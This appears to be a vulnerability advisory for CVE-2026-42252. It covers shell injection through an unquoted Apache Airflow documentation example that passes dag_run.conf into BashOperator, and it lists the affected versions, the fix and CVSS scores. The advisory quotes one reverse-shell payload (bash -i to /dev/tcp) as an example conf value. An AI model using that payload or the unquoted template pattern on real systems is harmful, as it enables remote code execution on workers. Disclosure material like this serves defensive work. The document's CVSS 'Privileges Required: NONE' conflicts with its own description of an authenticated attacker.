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CVE-2026-42252
Published:June 01, 2026
Updated:June 07, 2026
Apache Airflow's official documentation at "core-concepts/dag-run.html" ("Passing Parameters when triggering Dags") showed a verbatim "BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")" example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had "Dag.can_trigger" permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the "conf" field of the trigger API: an authenticated trigger user could supply ""; bash -i >& /dev/tcp/.../9999 0>&1; #"" as a "conf" value and reach an "os.exec" on the worker. This CVE covers the documentation correction in "apache/airflow" PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to "apache-airflow" 3.2.2 or later to pick up the corrected documentation shipped with the release.
Affected Packages
apache-airflow (CONDA):
Affected version(s) >=2.0.1 <3.2.2
Fix Suggestion:
Update to version 3.2.2
apache-airflow (PYTHON):
Affected version(s) >=1.8.1 <3.2.2
Fix Suggestion:
Update to version 3.2.2
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CVSS v4
Base Score:
9.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
9.1
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
NONE
Weakness Type (CWE)
Improper Neutralization of Special Elements Used in a Template Engine
EPSS
Base Score:
0.07